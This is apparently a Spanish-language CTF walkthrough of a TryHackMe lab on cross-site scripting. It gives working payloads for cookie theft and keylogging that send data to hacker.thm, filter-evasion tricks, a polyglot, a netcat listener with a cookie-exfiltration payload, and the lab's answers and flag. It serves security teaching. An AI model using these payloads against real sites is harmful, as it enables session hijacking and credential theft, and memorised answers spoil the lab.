Hola hacketones! Bienvenidos a un nuevo CTF de la ruta completa de Web Fundamentals, en este capítulo veremos: TryHackMe Intro to Cross-site Scripting
Cabe destacar que, dado que XSS se basa en JavaScript, es útil tener conocimientos básicos del lenguaje. Sin embargo, ninguno de los ejemplos es excesivamente complicado; además, se requiere un conocimiento básico de las solicitudes y respuestas cliente-servidor.
El Cross-Site Scripting, más conocido como XSS en la comunidad de ciberseguridad, se clasifica como un ataque de inyección en el que se inyecta JavaScript malicioso en una aplicación web con la intención de que otros usuarios lo ejecuten. En esta sala, aprenderá sobre los diferentes tipos de XSS , cómo crear cargas útiles XSS , cómo modificarlas para evadir filtros y, finalmente, con un laboratorio práctico donde podrá poner a prueba sus nuevas habilidades.
Responda las preguntas a continuación
¿Qué significa XSS?
cross-site scripting
Cargas útiles XSS
¿Qué es una carga útil?
En XSS , la carga útil es el código JavaScript que deseamos que se ejecute en el equipo de destino. La carga útil consta de dos partes: la intención y la modificación.
La intención es lo que desea que JavaScript realmente haga (lo cual cubriremos con algunos ejemplos a continuación), y la modificación son los cambios en el código que necesitamos para que se ejecute, ya que cada escenario es diferente (más sobre esto en la tarea de perfeccionamiento de su carga útil).
A continuación se muestran algunos ejemplos de intenciones XSS .
Prueba de concepto:
Esta es la carga útil más simple, donde solo se busca demostrar que se puede implementar XSS en un sitio web. Esto suele lograrse mediante la aparición de un cuadro de alerta en la página con una cadena de texto, por ejemplo:
<script>alert(‘XSS’);</script>
Robo de sesión:
Los detalles de la sesión de un usuario, como los tokens de inicio de sesión, suelen almacenarse en cookies en el equipo objetivo. El siguiente código JavaScript toma la cookie del objetivo, la codifica en base64 para garantizar una transmisión exitosa y la publica en un sitio web controlado por el hacker para su registro. Una vez que el hacker obtiene estas cookies, puede tomar el control de la sesión del objetivo y registrarse como ese usuario.
<script>fetch(‘https://hacker.thm/steal?cookie=’ + btoa(document.cookie));</script>
Registrador de teclas:
El siguiente código actúa como un keylogger. Esto significa que todo lo que escribas en la página web se reenviará a un sitio web controlado por el hacker. Esto podría ser muy perjudicial si el sitio web donde se instaló la carga útil aceptaba inicios de sesión de usuario o datos de tarjetas de crédito.
<script>document.onkeypress = function(e) { fetch(‘https://hacker.thm/log?key=’ + btoa(e.key) );}</script>
Lógica de negocios:
Esta carga útil es mucho más específica que los ejemplos anteriores. Se trata de llamar a un recurso de red específico o a una función de JavaScript. Por ejemplo, imagine una función de JavaScript para cambiar la dirección de correo electrónico del usuario llamada user.changeEmail(). Su carga útil podría ser similar a esta:
<script>user.changeEmail(‘attacker@hacker.thm’);</script>
Ahora que la dirección de correo electrónico de la cuenta ha cambiado, el atacante puede realizar un ataque de restablecimiento de contraseña.
Las próximas cuatro tareas cubrirán los diferentes tipos de vulnerabilidades XSS , todas ellas requiriendo cargas de ataque e interacción del usuario ligeramente diferentes.
Responda las preguntas a continuación
¿Qué propiedad de documento podría contener el token de sesión del usuario?
document.cookie
¿Qué método de JavaScript se utiliza a menudo como prueba de concepto?
alert
XSS reflejado
El XSS reflejado ocurre cuando los datos proporcionados por el usuario en una solicitud HTTP se incluyen en la fuente de la página web sin ninguna validación.
Ejemplo:
Un sitio web donde, si se introduce información incorrecta, se muestra un mensaje de error. El contenido del mensaje de error se obtiene del parámetro «error» en la cadena de consulta y se integra directamente en el código fuente de la página.
La aplicación no verifica el contenido del parámetro de error , lo que permite al atacante insertar código malicioso.
La vulnerabilidad se puede utilizar según el escenario de la imagen a continuación:
Impacto potencial:
el atacante podría enviar enlaces o incrustarlos en un iframe en otro sitio web que contenga una carga útil de JavaScript a víctimas potenciales y hacer que ejecuten código en su navegador, lo que podría revelar información de la sesión o del cliente.
Cómo probar XSS reflejado :
Necesitarás probar todos los puntos de entrada posibles; estos incluyen:
- Parámetros en la cadena de consulta de URL
- Ruta del archivo URL
- A veces, encabezados HTTP (aunque es poco probable que se exploten en la práctica)
Una vez que haya encontrado algunos datos que se reflejan en la aplicación web, deberá confirmar que puede ejecutar correctamente su carga útil de JavaScript; su carga útil dependerá de dónde en la aplicación se refleje su código (aprenderá más sobre esto en la tarea 6).
Responda las preguntas a continuación
¿Qué lugar de una URL es adecuado para realizar pruebas de XSS reflejado?
parameters
XSS almacenado
Como su nombre indica, la carga útil XSS se almacena en la aplicación web (en una base de datos, por ejemplo) y se ejecuta cuando otros usuarios visitan el sitio o la página web.
Ejemplo:
Un blog que permite a los usuarios publicar comentarios. Lamentablemente, estos comentarios no se verifican para detectar si contienen JavaScript ni se filtra código malicioso. Si publicamos un comentario con JavaScript, este se almacenará en la base de datos y todos los demás usuarios que visiten el artículo verán el JavaScript ejecutándose en su navegador.
Impacto potencial:
El JavaScript malicioso podría redirigir a los usuarios a otro sitio, robar la cookie de sesión del usuario o realizar otras acciones en el sitio web mientras actúa como el usuario visitante.
Cómo probar XSS almacenado :
Necesitarás probar cada punto de entrada posible donde parezca que los datos se almacenan y luego se muestran en áreas a las que otros usuarios tienen acceso; un pequeño ejemplo de esto podría ser:
- Comentarios en un blog
- Información del perfil de usuario
- Listados de sitios web
A veces, los desarrolladores piensan que limitar los valores de entrada en el lado del cliente es una protección suficiente, por lo que cambiar los valores a algo que la aplicación web no esperaría es una buena fuente para descubrir XSS almacenado , por ejemplo, un campo de edad que espera un número entero de un menú desplegable, pero en cambio, envía manualmente la solicitud en lugar de usar el formulario que le permite probar cargas útiles maliciosas.
Una vez que haya encontrado algunos datos que se almacenan en la aplicación web, deberá confirmar que puede ejecutar correctamente su carga útil de JavaScript; su carga útil dependerá de dónde se refleje su código en la aplicación (aprenderá más sobre esto en la tarea 6).
Responda las preguntas a continuación
¿Cómo se almacenan normalmente las cargas útiles XSS en un sitio web?
Database
XSS basado en DOM
¿Qué es el DOM?
DOM significa Modelo de Objeto de Documento y es una interfaz de programación para documentos HTML y XML . Representa la página para que los programas puedan modificar su estructura, estilo y contenido. Una página web es un documento, y este puede mostrarse en la ventana del navegador o como código fuente HTML. A continuación se muestra un diagrama del DOM HTML:
Si desea obtener más información sobre el DOM y obtener una comprensión más profunda, w3.org tiene un gran recurso.
Explotando el DOM
El XSS basado en DOM permite que la ejecución de JavaScript se realice directamente en el navegador, sin que se carguen nuevas páginas ni se envíen datos al código backend. La ejecución ocurre cuando el código JavaScript del sitio web actúa sobre la entrada o la interacción del usuario.
Ejemplo:
El JavaScript del sitio web obtiene el contenido del window.location.hash parámetro y lo escribe en la sección de la página que se está visualizando. El contenido del hash no se analiza en busca de código malicioso, lo que permite a un atacante inyectar JavaScript de su elección en la página web.
Impacto potencial:
Se podrían enviar enlaces manipulados a posibles víctimas, redirigiéndolas a otro sitio web o robando contenido de la página o de la sesión del usuario.
Cómo probar XSS basado en Dom :
El XSS basado en DOM puede ser difícil de probar y requiere ciertos conocimientos de JavaScript para leer el código fuente. Deberías buscar partes del código que accedan a ciertas variables sobre las que un atacante pueda tener control, como los parámetros » window.location.x «.
Cuando encuentres esos fragmentos de código, tendrás que ver cómo se manejan y si los valores alguna vez se escriben en el DOM de la página web o se pasan a métodos JavaScript no seguros como eval() .
Responda las preguntas a continuación
¿Qué método de JavaScript inseguro es bueno buscar en el código fuente?
eval()
XSS ciego
Un XSS ciego es similar a un XSS almacenado (que abordamos en la tarea 4) en el sentido de que su carga útil se almacena en el sitio web para que otro usuario la vea, pero en este caso, no puede ver el funcionamiento de la carga útil ni probarla usted mismo primero.
Ejemplo:
Un sitio web tiene un formulario de contacto donde puede enviar un mensaje a un miembro del personal. El contenido del mensaje no se analiza en busca de código malicioso, lo que permite al atacante ingresar lo que desee. Estos mensajes se convierten en tickets de soporte que el personal consulta en un portal web privado.
Impacto potencial:
Con la carga útil correcta, el JavaScript del atacante podría realizar llamadas a su sitio web, revelando la URL del portal del personal, las cookies del miembro e incluso el contenido de la página del portal que se está visitando. Ahora, el atacante podría secuestrar la sesión del miembro del personal y obtener acceso al portal privado.
Cómo probar Blind XSS :
Al probar vulnerabilidades XSS ciegas , debe asegurarse de que su carga útil tenga una llamada de retorno (normalmente una solicitud HTTP ). De esta forma, sabrá si su código se está ejecutando y cuándo.
Una herramienta popular para ataques XSS ciegos es XSS Hunter Express . Aunque es posible crear una herramienta propia en JavaScript, esta captura automáticamente cookies, URL, contenido de páginas y más.
Responda las preguntas a continuación
¿Qué herramienta puedes utilizar para probar Blind XSS?
¿Qué tipo de XSS es muy similar a Blind XSS?
Stored XSS
Perfeccionando su carga útil
La carga útil es el código JavaScript que queremos ejecutar, ya sea en el navegador de otro usuario o como prueba de concepto para demostrar una vulnerabilidad en un sitio web.
Su carga útil puede tener diversas finalidades, desde simplemente mostrar un cuadro de alerta de JavaScript para demostrar que podemos ejecutar JavaScript en el sitio web de destino hasta extraer información de la página web o de la sesión del usuario.
La forma en que su carga útil de JavaScript se refleja en el código del sitio web de destino determinará la carga útil que debe usar. Para explicar esto, haga clic en el botón verde Iniciar máquina a la derecha y, cuando la máquina se haya cargado, abra el siguiente enlace en una nueva pestaña.
https://LAB_WEB_URL.p.thmlabs.com
El objetivo de cada nivel será ejecutar la función de alerta de JavaScript con la cadena THM , por ejemplo:
<script>alert(‘THM’);</script>
Nivel Uno:
Se le presenta un formulario que le solicita que ingrese su nombre y, una vez que lo haya ingresado, se presentará en una línea a continuación, por ejemplo:
Si ves el código fuente de la página, verás tu nombre reflejado en el código:
En lugar de ingresar su nombre, intentaremos ingresar la siguiente carga útil de JavaScript: <script>alert(‘THM’);</script>
Ahora, cuando haga clic en el botón Intro, aparecerá una ventana emergente de alerta con la cadena THM y la fuente de la página se verá así:
Recibirás un mensaje de confirmación indicando que tu carga se realizó correctamente con un enlace al siguiente nivel.
Nivel dos:
Al igual que en el nivel anterior, se te vuelve a pedir que ingreses tu nombre. Esta vez, al presionar Enter, tu nombre se refleja en una etiqueta de entrada:
Al ver el código fuente de la página, puede ver su nombre reflejado dentro del atributo de valor de la etiqueta de entrada:
No funcionaría si probaras la carga útil de JavaScript anterior, ya que no se puede ejecutar desde la etiqueta de entrada. En su lugar, primero debemos escapar la etiqueta de entrada para que la carga útil se ejecute correctamente. Puedes hacerlo con la siguiente carga útil:»><script>alert(‘THM’);</script>
La parte importante de la carga útil es la «>que cierra el parámetro de valor y luego cierra la etiqueta de entrada.
Esto ahora cierra la etiqueta de entrada correctamente y permite que se ejecute la carga útil de JavaScript:
Al pulsar el botón Intro, aparecerá una alerta emergente con la cadena THM. A continuación, recibirá un mensaje de confirmación indicando que la carga se realizó correctamente con un enlace al siguiente nivel.
Nivel tres:
Se le presenta otro formulario que le solicita su nombre y, al igual que en el nivel anterior, su nombre se refleja dentro de una etiqueta HTML, esta vez la etiqueta textarea.
Tendremos que escapar la etiqueta textarea de una manera un poco diferente a la de entrada (en el Nivel Dos) usando la siguiente carga útil:</textarea><script>alert(‘THM’);</script>
Esto convierte esto:
En esto:
La parte importante de la carga útil anterior es </textarea>, que hace que el elemento textarea se cierre para que se ejecute el script.
Al pulsar el botón Intro, aparecerá una alerta emergente con la cadena THM. A continuación, recibirá un mensaje de confirmación indicando que la carga se realizó correctamente con un enlace al siguiente nivel. Nivel cuatro:
Nivel cuatro:
Al ingresar tu nombre en el formulario, lo verás reflejado en la página. Este nivel es similar al nivel uno, pero al revisar el código fuente de la página, verás que tu nombre aparece reflejado en código JavaScript.
Deberás escapar el comando JavaScript existente para poder ejecutar tu código. Puedes hacerlo con la siguiente carga útil, ‘;alert(‘THM’);// que verás en la captura de pantalla a continuación, que ejecutará tu código. El ‘cierra el campo que especifica el nombre, ;indica el final del comando actual y, //al final, convierte todo lo que sigue en un comentario en lugar de código ejecutable.
Al pulsar el botón Intro, aparecerá una alerta emergente con la cadena THM. A continuación, recibirá un mensaje de confirmación indicando que la carga se realizó correctamente con un enlace al siguiente nivel.
Nivel cinco:
Este nivel es igual que el primero, y tu nombre también aparece en el mismo lugar. Pero si pruebas la <script>alert(‘THM’);</script>carga útil, no funcionará. Al consultar el código fuente, entenderás por qué.
La palabra script se elimina de tu carga útil porque hay un filtro que elimina cualquier palabra potencialmente peligrosa.
Cuando se elimina una palabra de una cadena, hay un truco útil que puedes probar.
Carga útil original:
<sscriptcript>alert(‘THM’);</sscriptcript>
Texto a eliminar (por el filtro):
<sscriptcript>alert(‘THM’);</sscriptcript>
Carga útil final (después de pasar el filtro):
<script>alert(‘THM’);</script>
Intente ingresar la carga útil <sscriptcript>alert(‘THM’);</sscriptcript>y presione el botón Enter. Aparecerá una alerta emergente con la cadena THM . A continuación, recibirá un mensaje de confirmación indicando que la carga útil se realizó correctamente con un enlace al siguiente nivel.
Nivel seis:
Similar al nivel dos, donde tuvimos que escapar del atributo de valor de una etiqueta de entrada, podemos intentar con «><script>alert(‘THM’);</script> , pero no parece funcionar. Revisemos el código fuente de la página para ver por qué no funciona.
Puedes ver que los caracteres < y > se filtran de nuestra carga útil, lo que nos impide escapar la etiqueta IMG. Para evitar este filtro, podemos aprovechar los atributos adicionales de la etiqueta IMG, como el evento onload. Este evento ejecuta el código que elijas una vez que la imagen especificada en el atributo src se haya cargado en la página web.
Modifiquemos nuestra carga útil para reflejar esto /images/cat.jpg» onload=»alert(‘THM’);y, luego, veamos el código fuente de la página para ver cómo funciona.
Al pulsar el botón Intro, aparecerá una alerta emergente con la cadena THM . A continuación, recibirá un mensaje de confirmación indicando que la carga útil se realizó correctamente. Como este es el último nivel, recibirá una bandera que puede introducirse a continuación.
Políglotas:
Un políglota XSS es una cadena de texto que puede escapar atributos, etiquetas y eludir filtros, todo en uno. Podrías haber usado el políglota a continuación en los seis niveles que acabas de completar y el código se habría ejecutado correctamente.
jaVasCript:/*-/*`/*\`/*’/*»/**/(/* */onerror=alert(‘THM’) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/–!>\x3csVg/<sVg/oNloAd=alert(‘THM’)//>\x3e
Responda las preguntas a continuación
¿Cuál es la bandera que recibiste del nivel seis?
THM{XSS_MASTER}
Ejemplo práctico (XSS ciego)
Para la última tarea, revisaremos una vulnerabilidad XSS ciega . Asegúrese de cerrar la máquina anterior y haga clic en el botón verde «Iniciar máquina» a la derecha para cargar el sitio web de soporte técnico de Acme. Deberá usar AttackBox con el botón azul en la parte superior de la página. Una vez cargado, abra el enlace a continuación en el navegador Firefox de AttackBox para ver el sitio web objetivo.
https://10-64-131-118.reverse-proxy.cell-prod-us-east-1a.vm.tryhackme.com
Haga clic en la pestaña Clientes en la barra de navegación superior y haga clic en el enlace » Regístrese aquí » para crear una cuenta. Una vez configurada, haga clic en la pestaña Tickets de soporte , que es la función que investigaremos para detectar vulnerabilidades.
Intenta crear un ticket de soporte haciendo clic en el botón verde «Crear Ticket», introduce el asunto y el contenido de la palabra «test» y luego haz clic en el botón azul «Crear Ticket». Verás tu nuevo ticket en la lista con un número de identificación. Puedes hacer clic para acceder a él.
Al igual que en la tarea tres, investigaremos cómo se refleja en la página el texto introducido previamente. Al revisar el código fuente de la página, podemos ver que el texto se coloca dentro de una etiqueta textarea.
Ahora, volvamos a crear otro ticket. Veamos si podemos escapar la etiqueta textarea introduciendo la siguiente carga útil en el contenido del ticket:
</textarea>test
Nuevamente, al abrir el ticket y ver el código fuente de la página, hemos escapado exitosamente la etiqueta textarea.
Ahora, ampliemos esta carga útil para ver si podemos ejecutar JavaScript y confirmar que la función de creación de tickets es vulnerable a un ataque XSS. Pruebe con otro ticket con la siguiente carga útil:
</textarea><script>alert(‘THM’);</script>
Al revisar el ticket, debería aparecer un cuadro de alerta con la cadena THM . Ampliaremos aún más la carga útil y el impacto de las vulnerabilidades. Dado que esta función crea un ticket de soporte, podemos estar bastante seguros de que un miembro del personal también lo revisará y, por lo tanto, podremos ejecutar JavaScript.
Información útil para extraer de otro usuario serían sus cookies, las cuales podríamos usar para aumentar nuestros privilegios pirateando su sesión. Para ello, nuestra carga útil deberá extraer la cookie del usuario y exfiltrarla a otro servidor web de nuestra elección. Primero, necesitaremos configurar un servidor de escucha para recibir la información.
Usando AttackBox, configuremos un servidor de escucha con Netcat. Si queremos escuchar en el puerto 9001, ejecutamos el comando nc -l -p 9001. La -lopción indica que queremos usar Netcat en modo de escucha, mientras que la -popción se usa para especificar el número de puerto. Para evitar la resolución de nombres de host mediante DNS, podemos agregar -n; además, para detectar errores, se recomienda ejecutar Netcat en modo detallado agregando la -vopción . El comando final se convierte en nc -n -l -v -p 9001, equivalente a nc -nlvp 9001.
user@machine$nc-nlvp9001Listening on [0.0.0.0] (family 0, port 9001)
Ahora que hemos configurado el método para recibir la información exfiltrada, construyamos la carga útil.
</textarea><script>fetch(‘http://URL_OR_IP:PORT_NUMBER?cookie=’ + btoa(document.cookie) );</script>
Analicemos la carga útil:
- La </textarea> etiqueta cierra el campo del área de texto.
- La <script>etiqueta abre un área para que escribamos JavaScript.
- El fetch() comando realiza una solicitud HTTP.
- URL_OR_IP es la URL del receptor de solicitudes de THM, su dirección IP de THM AttackBox o su dirección IP en la red VPN de THM.
- PORT_NUMBERes el número de puerto que estás utilizando para escuchar conexiones en AttackBox.
- ?cookie= es la cadena de consulta que contiene las cookies de la víctima.
- btoa() El comando base64 codifica las cookies de la víctima.
- document.cookie accede a las cookies de la víctima para el sitio web de soporte de TI de Acme.
- </script>Cierra el bloque de código JavaScript.
Ahora crea otro ticket con la carga útil anterior, asegurándote de intercambiar las URL_OR_IP:PORT_NUMBER variables con tu configuración (especifica también el número de puerto para el receptor Netcat). Espera un minuto y verás que llega la solicitud con las cookies de la víctima.
Nota: Puede tener problemas al recibir la solicitud usando su propia máquina virtual y la VPN . Se recomienda usar AttackBox para esta tarea.
Ahora puede decodificar esta información en base64 utilizando un sitio como https://www.base64decode.org/ , que le proporcionará la información necesaria para responder la siguiente pregunta.
Responda las preguntas a continuación
¿Cuál es el valor de la cookie de sesión del personal?
4AB305E55955197693F01D6F8FD2D321
Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!